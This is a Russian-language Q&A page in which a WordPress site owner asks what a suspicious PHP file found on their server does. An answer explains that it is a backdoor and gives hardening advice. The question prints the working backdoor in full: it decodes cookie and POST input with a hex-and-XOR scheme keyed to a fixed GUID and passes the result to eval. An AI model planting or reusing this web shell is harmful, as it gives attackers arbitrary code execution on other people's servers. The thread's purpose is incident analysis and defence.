Что делает этот (вирус?) Код? - PullRequest
0 голосов
/ 16 мая 2018

Я нашел код, который не написал в своей папке public_html на моем сайте WordPress.После небольшого усилия я смог привести его в несколько читабельное состояние, но это все еще не в моем понимании того, что он делает.Может ли кто-нибудь с лучшим пониманием сказать мне, что должен делать этот код?

Если это поможет, он также перезаписал мой файл index.php этим кодом, а также имел несколько ссылок на странный код.файл ico.

foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
    function fun1($key, $valueLength)
    {
        $keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
        $repeatTimes = ($valueLength / strlen($key)) + 1;

        return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
    }

    function packToHex($inputToPack)
    {
        return @pack("H*", $inputToPack);
    }

    function fun3($exploded)
    {
        $modCount = count($exploded) % 3;
        if (!$modCount) {
            eval($exploded[1]($exploded[2]));
            exit();
        }
    }

    $value = packToHex($value);
    $bitwiseXor = $value ^ fun1($key, strlen($value));
    $exploded = explode("#", $bitwiseXor);
    fun3($exploded);
}

1 Ответ

0 голосов
/ 16 мая 2018

Краткий ответ: это бэкдор, он позволяет выполнять произвольный код на стороне сервера.

Примечание: все, что вам нужно , нужно , чтобы увидеть, что он имеет eval и принимает данные от пользователя.

Какой произвольный код? Все, что они хотят.


Длинный ответ:

Он будет принимать данные из $_COOKIE и $_POST, как вы можете видеть. Эти данные поступают от пользователя. Мы можем сделать вывод, что этот код был разработан для того, чтобы пользователь malicius получал данные (которые пользователь malicius будет отправлять напрямую или через бота).

Что он дозирует с этими данными? Ну, это будет по всем входам, один за другим, и попытаться:

  • $value = packToHex($value); Интерпретировать ее как шестнадцатеричную строку и преобразовать в ее двоичное представление. Молча провалиться, если это не шестнадцатеричная строка.
  • $bitwiseXor = $value ^ fun1($key, strlen($value)); применить дешевый шифр поверх него. Это симметричный шифр замещения, он зависит от $key и жестко запрограммированной направляющей 49d339b2-3813-478a-bfa1-1d75be92cf49. Мы можем предположить, что тот, кто внедрил этот код, знает guid и как его шифровать (это точно такой же код).
  • $exploded = explode("#", $bitwiseXor); Затем мы разделяем результат символом "#".
  • И fun3($exploded); интерпретируют его как код (см. [eval][1]).
  • Если все удастся (что означает, что ввод от пользователя был таким, что он запустил этот процесс), то он завершится, так что поток выполнения никогда не достигнет вашего кода.

Теперь кто-то ввел этот код на сервер . Как они это делают? Я не знаю.

Мое первое предположение состоит в том, что у вас есть какая-то уязвимость, которая позволяет им загружать код PHP (возможно, у вас есть функция загрузки файлов, которая с радостью будет брать файлы PHP и помещать их в путь, по которому пользователь может заставить их запускать сервер) ,

Конечно, есть и другие возможности ... они могли грубо заставить логин к вашему ftp или логину администратора, или что-то еще, что позволило бы им ввести код. Или у вас может быть какое-то уязвимое программное обеспечение (например, устаревший или плохо настроенный WordPress или плагин). Возможно, вы скачали и использовали какую-то библиотеку или плагин, который работает watherver, но скомпрометирован вредоносным ПО (были случаи). или, возможно, вы везде используете один и тот же ключ, что и электронная почта, и он просочился с какого-то другого уязвимого сайта ... или это сделал кто-то, кто работает с вами и имеет законный доступ, или что-то еще полностью ...

Что я говорю, так это ... обязательно удалите этот код с вашего сервера, но знайте, что ваш сервер уязвим другими способами, иначе он не был бы скомпрометирован в первую очередь. Я бы предположил, что тот, кто сделал это, существует и может в конечном итоге заметить, что вы сняли его и снова поставили под угрозу свой сервер (Приложение: на самом деле, на вашем сервере может быть какой-то другой код, который возвращает его обратно, если его там нет) .

Так что иди прикрывай все свои базы. Измените свои пароли (и используйте надежные). Используйте https. Настройте свой сервер правильно. Постоянно обновляйте программное обеспечение.

Если у вас есть пользовательский код PHP: проверьте все вводимые данные (включая загрузку файлов). Очистите все, что вы отправите обратно пользователю. Используйте готовые предложения. Избегайте стороннего кода от suspicius, не копируйте и вставляйте без понимания (я знаю, что вы многое можете сделать, не понимая, как это работает, но когда это не удается, это когда вам действительно нужны знания).

Добавление:

  • Если вы можете, автоматизировать обновления и резервные копии.
  • Да, есть плагины безопасности для WordPress, и они могут значительно улучшить его безопасность. Однако вы всегда можете настроить их неправильно.
...